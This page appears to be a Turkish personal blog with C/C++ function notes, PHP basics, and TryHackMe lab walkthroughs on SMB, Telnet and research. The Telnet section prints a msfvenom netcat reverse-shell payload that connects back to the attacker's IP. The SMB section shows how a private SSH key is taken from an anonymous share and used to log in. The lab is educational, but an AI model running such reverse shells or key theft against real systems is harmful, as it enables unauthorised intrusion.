Sic Parvis Magna

31 Mart 2025 Pazartesi

C/CPP - Fonksiyonlar ve Kullanım Yöntemleri #13

Mart 31, 2025 Posted by unexpected , , , No comments

access

Verilen bir dosya için erişim kontrolünü sağlar. Barşarılı ise 0 değerini, başarısız durumunda -1 değerini döner.

Erişim modları:

  • F_OK: Full Access
  • X_OK: Executable Access
  • W_OK: Writable Access
  • R_OK: Readable Access
Syntax
int access(const char* filename, int mode);

Params

  • filename: Dosya adı
  • mode: Erişim modu
example.cpp
#include <string.h>
#include <unistd.h>

int main(int argc, char** argv)
{	
	printf("%d", printf("%d", access("data.txt", F_OK)));
	
	return 0;
}

nanosleep

Verilen süre boyunca işlemi duraklatır. Barşarılı ise 0 değerini, başarısız durumunda -1 değerini döner. Eğer sinyal tarafından kesilirse, kalan süre değerini rem değerine döner.

Syntax
int nanosleep(const struct timespec* req, struct timespec* rem);

Params

  • req: Bir timespec structer değeri alır
  • rem: Bir timespec structer değeri alır
example.cpp
#include <stdio.h>
#include <time.h>

int main(int argc, char** argv)
{
	struct timespec req, rem;
	
	// 1.5 saniye uyumak için: 1 saniye + 500 milyon nanosaniye
	req.tv_sec = 1; // (long)
	req.tv_nsec = 500000000; // (long) nanosaniye (1 saniye = 1,000,000,000 nanosaniye)

	if(nanosleep(&req, &rem) == -1)
	{
		printf("ld, ld", rem.tv_sec, rem.tv_nsec);
	}
	
	return 0;
}

1 Ocak 2025 Çarşamba

TryHackMe - Network Services #2

Ocak 01, 2025 Posted by unexpected No comments

Task 2 - Understanding NFS

NFS Nedir?

NFS, "Network File System" anlamına gelir ve bir sistemin dizinleri ve dosyaları bir ağ üzerinden başkalarıyla paylaşmasına olanak tanır. NFS kullanarak, kullanıcılar ve programlar uzak sistemlerdeki dosyalara neredeyse yerel dosyalarmış gibi erişebilirler. Bunu, bir dosya sisteminin tamamını ya da bir kısmını sunucuya bağlayarak yapar. Dosya sisteminin bağlanan kısmına, her dosyaya atanan ayrıcalıklara sahip istemciler tarafından erişilebilir.

NFS nasıl çalışır?

NFS'den etkili bir şekilde yararlanabilmek için teknik alışverişi çok ayrıntılı olarak anlamamız gerekmiyor ancak bu ilginizi çeken bir şeyse buradan daha fazla bilgi alınabilir.

İlk olarak, istemci, fiziksel bir aygıtı bağlayabildiği gibi, uzak bir ana bilgisayardan yerel bir dizine bir dizin bağlama talebinde bulunacaktır. Daha sonra mount servisi RPC kullanarak ilgili mount daemon'una bağlanmak için harekete geçecektir.

Sunucu, kullanıcının talep edilen dizini bağlama iznine sahip olup olmadığını kontrol eder. Daha sonra, sunucudaki her dosya ve dizini benzersiz bir şekilde tanımlayan bir dosya tanıtıcısı döndürür.

Birisi NFS kullanarak bir dosyaya erişmek isterse, sunucudaki NFSD'ye (NFS daemon) bir RPC çağrısı yapılır. Bu çağrı aşağıdaki gibi parametreler alır:

  • File handle
  • Erişilicek dosya adı
  • Kullanıcı kimlik bilgisi
  • kullanıcı group bilgisi

Bunlar, belirtilen dosyaya erişim haklarının belirlenmesinde kullanılır. Bu, kullanıcı izinlerini kontrol eden şeydir, yani dosyaların okunması ve yazılması.

NFS'i ne çalıştırır?

NFS protokolünü kullanarak, Windows, Linux, MacOS veya UNIX gibi diğer Windows dışı işletim sistemlerini çalıştıran bilgisayarlar arasında dosya aktarabilirsiniz.

Windows Server çalıştıran bir bilgisayar, Windows olmayan diğer istemci bilgisayarlar için bir NFS dosya sunucusu görevi görebilir. Aynı şekilde NFS, Windows Server çalıştıran Windows tabanlı bir bilgisayarın Windows olmayan bir NFS sunucusunda depolanan dosyalara erişmesine olanak tanır.

NFS'nin teknik uygulamasını ve çalışmasını burada ele aldığımdan daha ayrıntılı olarak açıklayan bazı kaynaklar aşağıda verilmiştir.

1. NFS ne anlama geliyor?

Network File System

2. Hangi işlem bir NFS istemcisinin uzaktaki bir dizinle fiziksel bir aygıtmış gibi etkileşime girmesini sağlar?

Mounting

31 Aralık 2024 Salı

TryHackMe - Network Services #1

Aralık 31, 2024 Posted by unexpected No comments

Task 2 - Understanding SMB

SMB Nedir?

Server Message Block Protocol (SMB) bir ağ üzerindeki dosyalara, yazıcılara, seri bağlantı noktalarına ve diğer kaynaklara erişimi paylaşmak için kullanılan bir client - server iletişim protokolüdür. source

Sunucular dosya sistemlerini ve diğer kaynakları (yazıcılar, pipes, API'ler) ağ üzerindeki istemcilerin kullanımına sunar. İstemci bilgisayarların kendi sabit diskleri olabilir, ancak sunuculardaki paylaşılan dosya sistemlerine ve yazıcılara da erişmek isterler.

SMB protokolü bir response request protokolü olarak bilinir, yani bir bağlantı kurmak için istemci ve sunucu arasında birden fazla mesaj iletir. İstemciler sunuculara TCP/IP (aslında RFC1001 ve RFC1002'de belirtildiği gibi TCP/IP üzerinden NetBIOS), NetBEUI veya IPX/SPX kullanarak bağlanır.

SMB nasıl çalışır?

Bir bağlantı kurduktan sonra, istemciler sunucuya paylaşımlara erişmelerine, dosyaları açmalarına, dosyaları okumalarına yazmalarına ve genellikle bir dosya sistemiyle yapmak istediğiniz her şeyi yapmalarına olanak tanıyan komutlar (SMB'ler) gönderebilirler. Ancak, SMB söz konusu olduğunda, bu işlemler ağ üzerinden yapılır.

SMB'yi ne çalıştırır?

Windows 95'ten bu yana Microsoft Windows işletim sistemleri istemci ve sunucu SMB protokolü desteği içermektedir. SMB protokolünü destekleyen açık kaynaklı bir sunucu olan Samba, Unix sistemleri için piyasaya sürülmüştür.

1. SMB açılımı nedir?

Server Message Block

2. SMB ne tür bir protokoldür?

response-request

3. İstemciler sunuculara ne kullanarak bağlanır?

TCP/IP

4. Samba hangi sistemlerde çalışır?

Unix

Task 3 - Enumerating SMB

Enumeration

Enumeration, potansiyel saldırı vektörlerini bulmak ve istismara yardımcı olmak için bir hedef hakkında bilgi toplama sürecidir.

Bu süreç bir saldırının başarılı olması için çok önemlidir, çünkü işe yaramayan ya da sistemi çökertebilecek açıklarla zaman kaybetmek enerji kaybı olabilir. Enumeration, kullanıcı adlarını, parolaları, ağ bilgilerini, ana bilgisayar adlarını, uygulama verilerini, hizmetleri veya bir saldırgan için değerli olabilecek diğer bilgileri toplamak için kullanılabilir.

SMB

Tipik olarak, bir sunucu üzerinde bağlanılabilen ve dosyaları görüntülemek veya aktarmak için kullanılabilen SMB paylaşım sürücüleri vardır. SMB, hassas bilgileri keşfetmek isteyen bir saldırgan için genellikle harika bir başlangıç noktası olabilir bazen bu paylaşımlarda nelerin bulunduğuna şaşıracaksınız.

Port Taraması

Enumeration ilk adımı, hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için bir port taraması yapmaktır.

Enum4Linux

Enum4linux, hem Windows hem de Linux sistemlerinde SMB paylaşımlarını numaralandırmak için kullanılan bir araçtır. Temel olarak Samba paketindeki araçların etrafını sarar ve hedeften SMB ile ilgili bilgileri hızlı bir şekilde çıkarmayı kolaylaştırır. Kendi saldırı makinenize yüklemeniz gerekiyorsa, bunu resmi github adresinden indirip yapabilirsiniz.

Enum4linux'un kullanımı basittir: enum4linux [options] ip

TAG FUNCTION
-U Kullanıcı listesi
-M Makine listesi
-N İsim listsi (-U ve -M farklıdır.)
-S Paylaşılan listesi
-P Password politikası bilgileri
-G Group ve Kullanıcı listesi
-a Hepsini getir

1. Nmap taraması yapın. Kaç port açık?

terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
3

2. SMB hangi portlar üzerinde çalışıyor?

139/445

3. Enum4Linux ile başlayalım, tam bir temel enumeration yapalım. Çalışma grubunun adı nedir?

terminal
enum4linux -a 10.10.44.59
WORKGROUP

4. Makinenin adı olarak ne geliyor?

POLOSMB

5. Hangi işletim sistemi sürümü çalışıyor?

6.1

6. Hangi paylaşım araştırmak isteyebileceğimiz bir şey olarak öne çıkıyor?

IPC$ ve print$ varsayılan SMB paylaşımlarıdır. netlogon, Network Login hizmetine ait bir paylaşımdır. Eleme sürecine göre, öne çıkan paylaşım profillerdir.

profiles

Task 4 - Exploiting SMB

SMB Exploit Türleri

CVE-2017-7494 gibi SMB'den yararlanarak uzaktan kod çalıştırmaya izin verebilecek güvenlik açıkları olsa da, bir sisteme girmenin en iyi yolunun sistemdeki yanlış yapılandırmalardan kaynaklandığı bir durumla karşılaşma olasılığınız daha yüksektir. Bu durumda, anonim SMB paylaşım erişiminden yararlanacağız bir shell'e yol açacak bilgileri elde etmemize izin verebilecek yaygın bir yanlış yapılandırma.

SMBClient

Bir SMB paylaşımına erişmeye çalıştığımız için, sunuculardaki kaynaklara erişmek için bir istemciye ihtiyacımız var. SMBClient kullanacağız çünkü varsayılan samba paketinin bir parçasıdır. Kendi makinenize yüklemeniz gerekiyorsa, buradan indirebilirisiniz

terminal
smbclient //[IP]/[SHARE]
TAG FUNCTION
-U Kullanıcı bilgisi
-p Port bilgisi

1. Varsayılan bağlantı noktasında 10.10.10.2 IP'li bir makinede "suit" kullanıcısı olarak "secret" adlı bir SMB paylaşımına erişmek için doğru sözdizimi ne olurdu?

smbclient //10.10.10.2/secret -U suit -p 445

2. Paylaşım anonim erişime izin veriyor mu?

terminal
smbclient //10.10.44.59/profiles -U Anonymous
Y

3. Değerli bilgiler içerebilecek ilginç belgeler için etrafa bir göz atın. Bu profil klasörünün kime ait olduğuna bakalım?

Öne çıkan dosya "Working From Home Information.txt". more komutu kullanılarak dosyanın içeriği okunabilir.

terminal
more "Working From Home Information.txt"
John Cactus

4. Evden çalışmasına izin vermek için hangi hizmet yapılandırıldı?

ssh

5. Artık bunu bildiğimize göre, paylaşımda hangi dizine bakmalıyız?

SSH anahtarları .ssh dizininde saklanır. Varsayılan olarak sunucunun private key id_rsa adlı bir dosyaya kaydedilir ve public key id_rsa.pub adlı bir dosyada saklanır. Sunucuya bağlanmak için private key'e ihtiyacımız vardır. John Cactus için SSH kullanıcı adını bilmediğimizden, private key SSH kullanıcı adını içereceğinden public ve private key indirdim.

mget komutu kullanılarak bir SMB sunucusundan birden fazla dosya indirilebilir.

terminal
mget id_rsa id_rsa.pub
.ssh

6. Bu dizin, bir kullanıcının bir sunucuda kimliğini doğrulamasına ve ardından sunucuya erişmesine olanak tanıyan kimlik doğrulama anahtarlarını içerir. Bu anahtarlardan hangisi bizim için en kullanışlıdır?

id_rsa

Bu dosyayı yerel makinenize indirin ve "chmod 600 [dosya]" kullanarak izinleri "600" olarak değiştirin.

Şimdi, hesabın kullanıcı adını bulmak için daha önce topladığınız bilgileri kullanın. Ardından, sunucuda oturum açmak için hizmeti ve anahtarı kullanın.

7. smb.txt içindeki flag nedir?

terminal
chmod 600 id_rsa      # Private key izinlerini değiştir.
cat id_rsa.pub      # Public key içerisin de ssh kullanıcı adını dosya sonunda buluyoruz.
ssh cactus@10.10.44.59 -i id_rsa      # Private key kullanarak sunucuya bağlanıyoruz.
THM{smb_is_fun_eh?}

Task 5 - Understanding Telnet

Telnet Nedir?

Telnet, bir telnet istemcisi kullanarak, bir telnet sunucusu barındıran uzak bir makineye bağlanmanıza ve bu makinede komutlar çalıştırmanıza olanak tanıyan bir uygulama protokolüdür.

Telnet istemcisi sunucu ile bir bağlantı kuracaktır. İstemci daha sonra sanal bir terminal haline gelecek ve uzak ana bilgisayarla etkileşime girmenize izin verecektir.

Telnet tüm mesajları açık metin olarak gönderir ve belirli bir güvenlik mekanizması yoktur. Bu nedenle, birçok uygulama ve hizmette Telnet'in yerini çoğu uygulamada SSH almıştır.

Telnet nasıl çalışır?

Kullanıcı sunucuya Telnet protokolünü kullanarak bağlanır, bu da bir komut istemine telnet girmek anlamına gelir. Kullanıcı daha sonra Telnet komutlarını kullanarak sunucuda komutları yürütür. Aşağıdaki sözdizimini kullanarak bir telnet sunucusuna bağlanabilirsiniz:

terminal
telnet [ip] [port]

1. Telnet nedir?

application protocol

2. Telnet'in yerini yavaş yavaş ne aldı?

ssh

3. IP adresi 10.10.10.3 olan bir Telnet sunucusuna 23 numaralı bağlantı noktasından nasıl bağlanırsınız?

telnet 10.10.10.3 23

4. Neyin eksikliği, tüm Telnet iletişiminin düz metin olduğu anlamına gelir?

encryption

Task 6 - Enumerating Telnet

Enumeration

Enumerating yanlış yapılandırılmış bir ağ hizmetinden yararlanmada ne kadar etkili olabileceğini daha önce görmüştük. Ancak, istismar edilmesi potansiyel olarak önemsiz olabilecek güvenlik açıkları her zaman gözümüze çarpmaz. Bu nedenle, özellikle ağ hizmetlerinin numaralandırılması söz konusu olduğunda, yöntemimizde titiz olmamız gerekir.

Port Tarama

Hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için genellikle yaptığımız gibi bir port taramasıyla başlayalım. Makineyi nmap ile tarayın.

1. Hedef makinede kaç port açık?

terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
1

2. Port numarası nedir?

8012

3. Bu bağlantı noktası atanmamış, ancak yine de kullandığı protokolü listeliyor, bu hangi protokol?

tcp

4. nmap taramasını -p- komutu olmadan yeniden çalıştırdığınızda, kaç bağlantı noktası açık olarak görünüyor?

0

5. Bu port ne için kullanılır?

Port 8012 tarafından döndürülen mesaj bize Skidy's Backdoor'u çalıştırdığını söylüyor.

a backdoor

6. Kime ait olabilir? Olası kullanıcı adlarını toplamak, numaralandırmada önemli bir adımdır.

Skidy

Task 7 - Exploiting Telnet

Telnet Exploit Türleri

Bir protokol olan Telnet, daha önce bahsettiğimiz nedenlerden dolayı kendi içinde güvensizdir. Şifrelemeden yoksundur, bu nedenle tüm iletişimi düz metin üzerinden gönderir ve çoğunlukla zayıf erişim kontrolüne sahiptir. Bununla birlikte, Telnet istemci ve sunucu sistemleri için CVE'ler vardır, istismar ederken bunları kontrol edebilirsiniz:

Common Vulnerabilities and Exposures kısaltması olan CVE, kamuya açıklanmış bilgisayar güvenlik kusurlarının bir listesidir. Birisi bir CVE'den bahsettiğinde, genellikle bir güvenlik açığına atanan CVE kimlik numarasını kasteder.

Bununla birlikte, telnet'in nasıl yapılandırıldığı veya çalıştığıyla ilgili bir yanlış yapılandırma bulma olasılığınız çok daha yüksektir ve bu da onu istismar etmenize olanak tanır.

Reverse Shell Nedir?

"Shell" basitçe bir cihaz üzerinde kod veya komut çalıştırmak için kullanılabilen bir kod veya program parçası olarak tanımlanabilir.

Reverse Shell, hedef makinenin saldıran makineyle geri iletişim kurduğu bir shell türüdür.

Saldıran makinenin bağlantıyı aldığı bir dinleme portu vardır, bu da kod veya komut yürütülmesine neden olur.

1. Bu açık bir telnet bağlantısı! Nasıl bir karşılama mesajı alıyoruz?

terminal
telnet 10.10.127.187 8012
SKIDY'S BACKDOOR.

2. Bazı komutları çalıştırmayı deneyelim, telnet oturumuna girdiğimiz herhangi bir girdiden geri dönüş alıyor muyuz?

.HELP menüsü tüm komutların başına .RUN eklememizi söylüyor. Linux komutlarını .RUN ön ekli olarak çalıştırmayı denedim ancak herhangi bir çıktı alamadık.

N

3. Yazdığımız şeyin bir sistem komutu olarak çalıştırılıp çalıştırılmadığını kontrol edelim.

N

Yerel makinenizde bir tcpdump dinleyicisi başlatın.

terminal
tcpdump ip proto \\icmp -i tun0        # Yerel Kali Makine için
tcpdump ip proto \\icmp -i ens5        # AttackBox Makinasi için

Bu, özellikle ping'lerin üzerinde çalıştığı ICMP trafiğini dinleyen bir tcpdump dinleyicisi başlatır.

4. Şimdi, sistem komutlarını çalıştırıp çalıştıramadığımızı görmek için telnet oturumu üzerinden "ping [yerel THM ip] -c 1" komutunu kullanın. Herhangi bir ping alıyor muyuz?

Telnet bağlantınızın olduğu terminalden ping komutunu çalıştırın. Komutun önüne .RUN eklemeyi unutmayın.

terminal
.RUN ping 10.6.67.160 -c 1

Komut çalıştırıldıktan sonra tcpdump'ın çalıştığı terminali kontrol edin. ICMP paketlerini listelemiş olmalıdır.

Y

msfvenom kullanarak bir reverse shell yükü oluşturacağız. Bu bizim için bir netcat reverse shell oluşturacak ve kodlayacaktır.

terminal
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R
TAG FUNCTION
-p Payload
lhost Yerel ana bilgisayar IP adresimiz.
lport Dinlenecek port
R Payload ham formatta dışa aktarma

5. Oluşturulan yük hangi kelime ile başlıyor?

Payload, bir reverse shell oluşturacaktır. Reverse Shell, hedef makine saldıran makine ile ağ bağlantısını başlatır. Kabuğun bizim makinemize bağlanması gerektiğinden, TryHackMe ağındaki makinemizin IP adresine ihtiyacımız var. Eğer TryHackMe'ye bağlanmak için OpenVPN kullandıysanız tun0 arayüzüne bakmanız gerekir.

terminal
ip a l tun0

inet altındaki değer ihtiyacımız olan IP adresidir.

terminal
msfvenom -p cmd/unix/reverse_netcat lhost=10.6.67.160 lport=4444 R

Çıktının son satırı oluşturulan yüktür.

terminal
mkfifo /tmp/gewdh; nc 10.6.67.160 4444 0</tmp/gewdh | /bin/sh >/tmp/gewdh 2>&1; rm /tmp/gewdh
mkfifo

Neredeyse başardık. Şimdi tek yapmamız gereken yerel makinemizde bir netcat dinleyicisi başlatmak. Bunu kullanarak yapıyoruz:

terminal
nc -lvnp [listening port]

6. Yükümüzde seçtiğimiz dinleme portu için komut nasıl görünürdü?

nc -lvnp 4444

7. flag.txt dosyasının içeriği nedir?

THM{y0u_g0t_th3_t3ln3t_fl4g}

28 Aralık 2024 Cumartesi

TryHackMe - Introductory Researching

Aralık 28, 2024 Posted by unexpected No comments

Task 1 - Introduction

Etkili araştırma yeteneği bir hackerın sahip olması gereken en önemli niteliklerden biridir. Hackerlık doğası gereği geniş bir bilgi tabanı gerektirir. Çünkü nasıl çalıştığını bilmediğiniz bir şeye nasıl gireceksiniz değil mi? Mesele şu ki: kimse her şeyi bilemez. Herkes (profesyonel, amatör, deneyimli ya da konuya tamamen yeni olabilirler) otomatik olarak nasıl çözüleceğini bilmediği sorunlarla karşılaşacaktır. İşte bu noktada araştırma devreye girer, çünkü gerçek dünyada sorularınızın yanıtlarının size kolayca verilmesini bekleyemezsiniz.

Deneyim seviyeniz arttıkça, araştırdığınız şeylerin zorluk derecesinin de buna göre arttığını göreceksiniz; ancak bilgi güvenliği alanında, bir şeylere bakmanıza gerek kalmayacağı bir nokta asla gelmeyecektir.

Task 2 - Example Research Question

TryHackMe'de bir CTF üzerinde çalışırken bulmanız muhtemel türden olan tipik bir araştırma sorusuna bakarak başlayacağız.

Diyelim ki uzak bir sunucudan bir JPEG görüntüsü indirdiniz. İçinde gizli bir şey olduğundan şüpheleniyorsunuz, ancak bunu nasıl ortaya çıkarabilirsiniz? Google'da "hiding things inside images" aramasını yaparak başlamaya ne dersiniz?

Aşağıdaki ikinci bağlantının bize bir tekniğin başlığını verdiğine dikkat edin: "Steganography" Daha sonra bu bağlantıya tıklayabilir ve size dosyaların resimlerin içine nasıl gizlendiğini öğretecek olan belgeyi okuyabilirsiniz.

Artık nasıl yapıldığını biliyoruz, şimdi steganography kullanarak dosyaları ayıklamanın bir yolunu aramayı deneyelim

Zaten neredeyse her bağlantı faydalı bir şeye işaret ediyor. İlk bağlantı yararlı araçların bir koleksiyonunu içeriyor, ikincisi ise ilk etapta steganografinin nasıl gerçekleştirileceğine dair daha fazla talimat içeriyor. Gerçekçi olmak gerekirse bu bağlantılardan herhangi biri faydalı olabilir, ancak ilkine 0xrick.github.io bir göz atalım.

Buradaki ilk araç kullanışlı görünüyor. JPEG dosyalarından gömülü verileri ayıklamak için kullanılabilir tam da ihtiyacımız olan şey! Bu sayfa ayrıca steghide'ın "apt" kullanılarak kurulabileceğini de söylüyor.

Şimdi bunu araştıralım!

Harika Yani apt, Ubuntu (veya Kali!) gibi Linux dağıtımlarına araçlar yüklememizi sağlayan bir paket yöneticisidir. Apt kullanarak paketleri nasıl yükleyebiliriz? Hadi arayalım!

Mükemmel sayfanın en üstünde bize talimatlar veriliyor. Paketimizin adının steghide olduğunu biliyoruz, devam edip bunu yükleyebiliriz

terminal
apt-get install steghide

Şimdi, daha önce baktığımız steganografi araçları koleksiyonuna geri dönelim. Orada steghide'ın nasıl kullanılacağına dair talimatlar olduğunu fark ettiniz mi?

setghide extract -sf file: extracts embedded data from a file

İşte böyle! Bir dosyadan bir görüntüyü bu şekilde çıkarabiliriz. Araştırmamız sonuç verdi ve şimdi gidip görevi tamamlayabiliriz.


Buradaki metodolojiye dikkat edin. Hiçbir şey yapmadan başladık, ancak yavaş yavaş ne yapmamız gerektiğine dair bir resim oluşturduk. Bir sorumuz vardı (Bu görüntüden nasıl veri çıkarabilirim). Bu soruya bir yanıt aradık, ardından konuyu tam olarak anlayana kadar bize verilen yanıtların her birini sorgulamaya devam ettik. Bu, araştırma yapmak için gerçekten iyi bir yoldur: Bir soruyla başlayın; konu hakkında ilk anlayışı edinin; daha sonra gerektiğinde daha ileri yönlere bakın.

Şimdi sıra sizde. Araştırma becerilerinizi kullanarak aşağıdaki soruları yanıtlayıp yanıtlayamayacağınızı görün. İlk üç sorunun ipuçlarında uygun arama sorguları bulunmaktadır:

1. Kali Linux ile birlikte gelen Burp Suite Programında, bir isteği manuel olarak göndermek için (genellikle yakalanan bir isteği birçok kez tekrarlayarak) hangi modu kullanırsınız?

Repeater

2. Modern Windows oturum açma parolaları hangi hash formatında saklanır?

NTLM

3. Linux'ta otomatik görevlere ne denir?

Cron Jobs

4. Hangi sayı tabanını 2 tabanının (binary) kısaltması olarak kullanabilirsiniz?

Base 16

5. Bir parola hash'i $6$ ile başlıyorsa, bu hangi formattadır (Unix varyantında)?

sha512crypt

Task 3 - Vulnerability Searching

Bilgisayar korsanlığında genellikle istismara açık olabilecek yazılımlarla karşılaşırsınız. Örneğin, İçerik Yönetim Sistemleri (Wordpress, FuelCMS, Ghost, vb.) bir web sitesi kurmayı kolaylaştırmak için sıklıkla kullanılır ve bunların çoğu çeşitli saldırılara karşı savunmasızdır. Peki belirli bir yazılımı istismar etmek isteseydik nereye bakardık?

Bu sorunun cevabı aşağıdaki gibi web sitelerinde yatmaktadır:

NVD, CVE'leri (Common Vulnerabilities and Exposures) kamuya açık bir istismar olup olmadığını takip eder, bu nedenle belirli bir yazılım parçasındaki güvenlik açıklarını araştırıyorsanız bakmak için gerçekten iyi bir yerdir. CVE'ler şu biçimi alır: CVE-YEAR-IDNUMBER

ExploitDB hackerlar için çok yararlı olma eğilimindedir, çünkü genellikle kutudan çıkar çıkmaz indirilip kullanılabilecek açıklar içerir. Bir CTF veya pentestter yazılımla karşılaştığınızda ilk duraklardan biri olma eğilimindedir.

Eğer Linux'ta CLI kullanmaya meyilliyseniz, Kali, ExploitDB'yi kendi makinenizden aramanızı sağlayan "searchsploit" adlı bir araçla önceden yüklenmiş olarak gelir. Bu çevrimdışıdır ve veritabanının indirilmiş bir sürümünü kullanarak çalışır, yani Kali Linux'unuzda zaten tüm açıklara sahipsiniz!


Bir örnek verelim. Diyelim ki bir CTF oynuyoruz ve bir web sitesiyle karşılaştık:

Bunun FuelCMS olduğu çok açık. Genellikle bu kadar açık olmaz, ama elimizdekiyle çalışacağız!

Yazılımı biliyoruz, bu yüzden ExploitDB'de arayalım.

Açıkları aramak için searchsploit fuelCMS komutunu kullanıyorum

Web sitesinde bir şeyler yapmayı tercih ediyorsanız, işte oradan sonuçlar:

Artık web sitesine karşı kullanabileceğimiz bir açık bulduk!

Aslında istismarı kullanmak bu odanın kapsamı dışındadır, ancak süreci görebilirsiniz.

Başlığa tıklarsanız, açık hakkında biraz daha fazla açıklama alacaksınız:

CVE numaralarına özellikle dikkat edin; sorular için onlara ihtiyacınız olacak!

Format şu şekilde olacaktır: CVE-YEAR-NUMBER

Not: CVE numaraları güvenlik açığı keşfedildiğinde atanır, kamuoyuna duyurulduğunda değil. Bir güvenlik açığı bir yılın sonunda keşfedilirse veya güvenlik açığını doğrulama ve düzeltme süreci uzun sürerse, yayınlanma tarihinin CVE tarihindeki yıldan sonraki yıl olabileceğini unutmayın... aşağıdaki soruları yanıtlarken bunu aklınızda bulundurun.

1. WPForms'ta bulunan 2020 Cross-Site Scripting (XSS) güvenlik açığının CVE'si nedir?

CVE-2020-10385

2. Apache Tomcat'in Debian sürümünde 2016 yılında bir Local Privilege Escalation açığı bulundu. Bu güvenlik açığı için CVE nedir?

CVE-2016-1240

3. VLC medya oynatıcısında bulunan ilk CVE nedir?

CVE-2007-0017

4. Sudo programında 2020 tampon taşmasından yararlanmak isteseydiniz, hangi CVE'yi kullanırdınız?

CVE-2019-18634

Task 4 - Manual Pages

Daha önce Linux'ta çalışmadıysanız, Linux Temelleri modülüne bir göz atın. Linux (genellikle Kali Linux) şüphesiz bilgisayar korsanlığında kullanılan en yaygın işletim sistemidir, bu yüzden ona aşina olmakta fayda var!

Linux'un birçok yararlı özelliğinden biri de, çoğu aracın kılavuz sayfalarına doğrudan terminalinizin içinden erişmenizi sağlayan dahili man komutudur. Bazen kılavuz girişi olmayan bir araç bulabilirsiniz; ancak bu nadirdir. Genel olarak, bir aleti nasıl kullanacağınızı bilmediğinizde ilk başvuracağınız yer insan olmalıdır.

Hadi bir deneyelim!

SSH kullanarak uzaktaki bir bilgisayara bağlanmak istediğimizi ancak sözdizimini bilmediğimizi varsayalım. SSH için kılavuz sayfasını almak için man ssh'ı deneyebiliriz

Açıklamada SSH kullanımı için sözdiziminin user@host olduğunu görebiliriz

Ayrıca man sayfalarını, programın başka şeyler yapmasını sağlayan özel anahtarları aramak için de kullanabiliriz. Bunun bir örneği, (ilk örneğimizden) steghide'ın, verdiğiniz anahtarlara bağlı olarak bir görüntünün içindeki dosyaları hem ayıklamak hem de gömmek için kullanılabilmesidir.

Örneğin, SSH için sürüm numarasını görüntülemek istiyorsanız, uygun bir anahtar bulana kadar man sayfasında aşağı kaydırırsınız:

terminal
-V         Display the version number and exit.

Şimdi sıra sizde! Aşağıdaki soruları man komutunu kullanarak cevaplayın:

SCP, dosyaları bir bilgisayardan diğerine kopyalamak için kullanılan bir araçtır.

1. Bir dizinin tamamını kopyalamak için hangi anahtarı kullanırsınız?

-r

fdisk, sabit diskinizde kullanılan bölümleme şemasını görüntülemek ve değiştirmek için kullanılan bir komuttur.

2. Mevcut bölümleri listelemek için hangi anahtarı kullanırsınız?

-l

nano Linux için kullanımı kolay bir metin editörüdür. Muhtemelen daha iyi editörler vardır (Vim, vi vb.); ancak, nano başlamak için harika bir tanesidir.

3. Nano ile bir dosya açarken yedekleme yapmak için hangi anahtarı kullanırsınız?

-B

Netcat, ağ isteklerini manuel olarak göndermek ve almak için kullanılan temel bir araçtır.

4. Netcat'i 12345 numaralı bağlantı noktasını kullanarak dinleme modunda başlatmak için hangi komutu kullanırsınız?

nc -l -p 12345

26 Kasım 2024 Salı

PHP Programlama Temel Anlatım

Kasım 26, 2024 Posted by unexpected No comments

Değişkenler

PHP'de değişken tipleri yoktur. Atanan değere göre otomatik olarak değişkenin tipi verilir. Bir değişkenin veri tipinin ne olduğunu görmek için gettype(); function ile alabiliriz veya settype(); function ile tipini belirleye biliriz.

echo(); function ile tanımladığımız değişkenleri yazdıra biliriz. PHP'de birleştirme operatörü olarak "." (nokta) karakteri kullanılır.

index.php
$var1 = "String";
$var2 = 25;
$var3 = 3.14;

echo "Var1: $var1, Var2: $var2, Var3: $var3";
echo "<br>---------------------------------------<br>";
echo "Value: " . $var1 . "
"; echo "Type: " . gettype($var1);

Sabitler

Sabit tanımları aşağıdaki gibi tanımlanır. Değişkenlerden farkı değiştirelemez olamlarıdır. Bu yüzden tanımlandıkları yerde bir kez değer atanır istenilen her yerde kullanılır.

index.php
define("CONST_STR", "Sabit Varaible");
define("CONST_PI", 3.14);

echo "Sabit: " . CONST_STR . "<br>";
echo "Pi: " . CONST_PI;

Array Tanımı

Arrayleri içlerin de bir den fazla değerler tutabilen değişkenler olarak tanımlaya biliriz.

Arraylerin iki farklı kullanımları vardır:

  • Eski Kullanım: $array1 = array();
  • Modern Kullanım: $array2 = [];

Array içine eleman eklemenin temelde iki yolu vardır:

  • $array1[] = "Eleman 1";
  • array_push($array2, "Eleman 2");

Her eklenen değerlerin key değerleri 0'dan başlayarak kaldığı yerden veri eklendikçe artarak devam eder. Arrayleri echo function ile direk olarak yazdırmamız mümkün değildir. Bunun için var_dump(), print_r() functionları kullanılmalıdır.

index.php
$array1 = array();
$array2 = [];

$array2[] = "Eleman 1";
$array2[] = "Eleman 2";
$array2[] = "Eleman 3";

var_dump($array2);
echo "<br>";
print_r($array2);

Eğer eklenen valueların keylerini kendimiz vermek istiyorsak array'e eleman eklerken köşeli parantez içinde belirtebiliriz.

index.php
$array1["key1"] = "value 1"

Bir arraydeki değerleri satır satır çekmenin yolu ise foreach'tir

index.php
foreach($array2 as $value)
{
	echo $value . "<br>";
}

Bir de arrayler de boyut dediğimiz bir kavram vardır. Array içine bir array ataması gerçekleştirdiğimiz de bu array aslında 2 boyutlu bir array haline gelir.

index.php
$array3 = [];
$array3[] = ["0. Eleman 1", "0. Eleman 2", "0. Eleman 3"];
$array3[] = ["1. Eleman 1", "1. Eleman 2", "1. Eleman 3"];
$array3[] = ["2. Eleman 1", "2. Eleman 2", "2. Eleman 3"];

print_r($array3);
echo "<br>";
foreach($array3 as $value)
{
	print_r($value);
	echo "<br>";
}

Aritmetik Operatörler

  • (+) Toplama Operatörü
  • (-) Çıkartma Operatörü
  • (*) Çarpma Operatörü
  • (/) Bölme Operatörü
  • (%) Mod Operatörü
  • ($i++) $i değişkeni işlendikten sonra içindeki değeri 1 artır.
  • ($i--) $i değişkeni işlendikten sonra içindeki değeri 1 azalt.
  • (++$i) $i değişkenin içindeki değeri 1 artırdıktan sonra işle.
  • (--$i) $i değişkenin içindeki değeri 1 azalttıktan sonra işle.
index.php
$x = 30;
$y = 2;

echo ($x + $y) . "<br>"; // 32
echo ($x - $y) . "<br>"; // 28
